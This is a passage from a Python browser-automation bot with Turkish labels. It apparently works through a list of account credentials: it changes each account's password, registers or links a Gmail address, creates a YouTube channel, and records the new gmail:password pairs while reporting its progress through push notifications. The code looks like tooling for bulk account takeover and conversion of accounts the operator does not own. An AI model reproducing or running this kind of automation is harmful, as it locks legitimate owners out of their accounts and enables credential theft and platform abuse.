1144 sc(1899,83)
1145 time.sleep(1)
1146 flag = whereIsGmail(randName)
1147 if(flag==1):
1148 gmail = registerGmail(randName, randSname, 1)
1149 goToEditSecond()
1150 text = getBody()
1151
1152 try:
1153 if(not "@gmail.com" in text):
1154 addToOzel(info)
1155 failC += 1
1156 endSession()
1157 continue
1158 except:
1159 pass
1160
1161 newPass = changeAccountInfo(password, newPass, text)
1162
1163 elif(flag==2):
1164 gmail = registerGmail(randName, randSname, 0)
1165
1166 goToEditSecond()
1167 text = getBody()
1168
1169 try:
1170 if(not "@gmail.com" in text):
1171 addToOzel(info)
1172 failC += 1
1173 endSession()
1174 continue
1175 except:
1176 pass
1177
1178 newPass = changeAccountInfo(password, newPass, text)
1179 elif(flag == 4):
1180 addToCop(info)
1181 failC += 1
1182 endSession()
1183 continue
1184 else:
1185 addToTekrar(info)
1186 endSession()
1187 continue
1188
1189 else:
1190 url = getUrl()
1191 if("mail/" in url
1192 or "inbox" in url):
1193 gmail = manuel(password, newPass)
1194 g = gmail.split(":")
1195 gmail = g[0]
1196 newPass = g[1]
1197 else:
1198 print("-----RAPOR EDILMELI!!!!")
1199 addToOzel(info)
1200 endSession()
1201 continue
1202
1203 time.sleep(5)
1204 pyautogui.hotkey('alt', 'f4')
1205 try:
1206 driver = setYoutubeDriver()
1207 loginYoutube(str(gmail), newPass)
1208 text = getBody()
1209 if not "The email and password" in text:
1210 createYoutube(str(gmail), newPass)
1211 info = str(gmail) + ":" + newPass
1212 addToGmail(info)
1213 sucC += 1
1214 endSession()
1215 continue
1216 except:
1217 try:
1218 addToTekrarYT(str(gmail)+":"+newPass+"\n")
1219 except:
1220 pass
1221 try:
1222 driver.close()
1223 except:
1224 pass
1225 try:
1226 info = str(gmail) + ":" + newPass
1227 addToGmail(info)
1228 except:
1229 pass
1230 sucC += 1
1231 endSession()
1232
1233 push("Youtube Ceviri", "Bot basari ile islemi bitirdi. IP: " + ip)
1234except Exception as e:
1235 push("Youtube Ceviri", "Bot hata verdi tekrar baslatilmali! IP: " + ip + "\nHata: " + str(e))
1236